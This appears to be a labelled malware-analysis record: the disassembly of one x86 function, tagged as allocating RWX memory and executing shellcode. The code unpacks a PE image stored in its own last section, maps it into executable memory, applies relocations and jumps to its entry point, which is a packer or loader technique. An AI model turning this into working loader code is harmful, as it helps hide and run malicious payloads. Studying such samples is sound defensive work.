Function at 0x402f30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41ecb5
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x42c018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
mov eax, 0x20b
mov esi, dword [edi + 0x3c]
add esi, edi
cmp word [esi + 0x18], ax
sete byte [0x42ce80]
movzx eax, word [esi + 0x14]
movzx ecx, word [esi + 6]
add eax, esi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], ebx
lea ecx, [ecx + ecx*4]
mov dword [ebp - 0x2c], ebx
lea eax, [eax + ecx*8]
mov dword [ebp - 0x18], eax
mov eax, dword [eax - 4]
add eax, edi
xor edi, edi
mov esi, dword [eax]
add eax, 4
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], eax
test esi, esi
je 0x402fe0
push esi
lea ecx, [ebp - 0x30]
call fcn.00402100
mov ebx, dword [ebp - 0x30]
push esi
push 0
push ebx
mov dword [ebp - 0x1c], ebx
lea edi, [ebx + esi]
call fcn.004098e0
mov eax, dword [ebp - 0x28]
add esp, 0xc
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax - 8]
sub eax, 4
push eax
push dword [ebp - 0x14]
lea eax, [ebp - 0x24]
push eax
push ebx
call fcn.00403240
add esp, 0x10
test eax, eax
je 0x403006
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor esi, esi
mov dword [ebp - 4], 0
xor ebx, ebx
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x14], ebx
sub edi, dword [ebp - 0x10]
je 0x403084
cmp edi, 0x7fffffff
ja 0x403230
cmp edi, 0x1000
jb 0x40305d
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x403235
push eax
call fcn.00407f07
add esp, 4
test eax, eax
je 0x40323a
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x403068
push edi
call fcn.00407f07
add esp, 4
mov esi, eax
push edi
push dword [ebp - 0x10]
lea ebx, [esi + edi]
mov dword [ebp - 0x3c], esi
push esi
mov dword [ebp - 0x34], ebx
call fcn.00409360
add esp, 0xc
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x14], esi
mov edi, dword [esi + 0x3c]
add edi, esi
mov byte [ebp - 4], 1
push 0x40
push 0x3000
mov dword [ebp - 0x18], edi
movzx eax, word [edi + 0x14]
push dword [edi + 0x50]
add eax, edi
push 0
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x4030d7
push str.Error:_couldnt_allocate_image_data.
push 0x42cf90
call fcn.004010d0
add esp, 8
mov ecx, eax
push 0x401490
call fcn.00401fb0
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [edi + 0x54]
push dword [ebp - 0x14]
push ebx
call fcn.00409360
mov eax, dword [ebp - 0x18]
xor ecx, ecx
add esp, 0xc
xor edi, edi
cmp cx, word [eax + 6]
jae 0x403128
mov edx, dword [ebp - 0x10]
movzx eax, di
lea ecx, [eax + eax*4]
mov eax, dword [edx + ecx*8 + 0x28]
test eax, eax
je 0x40311e
push eax
mov eax, dword [edx + ecx*8 + 0x2c]
add eax, esi
push eax
mov eax, dword [edx + ecx*8 + 0x24]
add eax, ebx
push eax
call fcn.00409360
mov edx, dword [ebp - 0x10]
add esp, 0xc
mov eax, dword [ebp - 0x18]
inc edi
cmp di, word [eax + 6]
jb 0x4030f6
mov ecx, dword [ebp - 0x34]
mov eax, esi
sub ecx, esi
mov byte [ebp - 4], 0
cmp ecx, 0x1000
jb 0x40314f
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40323a
push ecx
push esi
call fcn.00407f37
push ebx
call fcn.00402a80
mov eax, dword [ebx + 0x3c]
mov ecx, ebx
add esp, 0xc
mov esi, dword [eax + ebx + 0xa0]
sub ecx, dword [eax + ebx + 0x34]
add esi, ebx
mov dword [ebp - 0x18], ecx
cmp dword [esi], 0
je 0x4031e1
nop dword [eax]
mov edi, dword [esi + 4]
lea eax, [esi + 4]
sub edi, 8
mov dword [ebp - 0x14], eax
shr edi, 1
mov edx, 0
je 0x4031da
nop word [eax + eax]
movzx eax, word [esi + edx*2 + 8]
mov cx, ax
and eax, 0xfff
shr cx, 0xc
add eax, ebx
add eax, dword [esi]
movzx ecx, cx
cmp ecx, 0xa
jne 0x4031c8
cmp byte [0x42ce80], 0
jne 0x4031cd
jmp 0x4031d2
cmp ecx, 3
jne 0x4031d2
mov ecx, dword [ebp - 0x18]
add dword [eax], ecx
inc edx
cmp edx, edi
jb 0x4031a0
mov eax, dword [ebp - 0x14]
add esi, dword [eax]
cmp dword [esi], 0
jne 0x403180
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x28]
add eax, ebx
call eax
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x40321c
mov edx, dword [ebp - 0x20]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x403212
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40323a
push edx
push ecx
call fcn.00407f37
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00402580
call fcn.00402530
call fcn.0040c96f
int3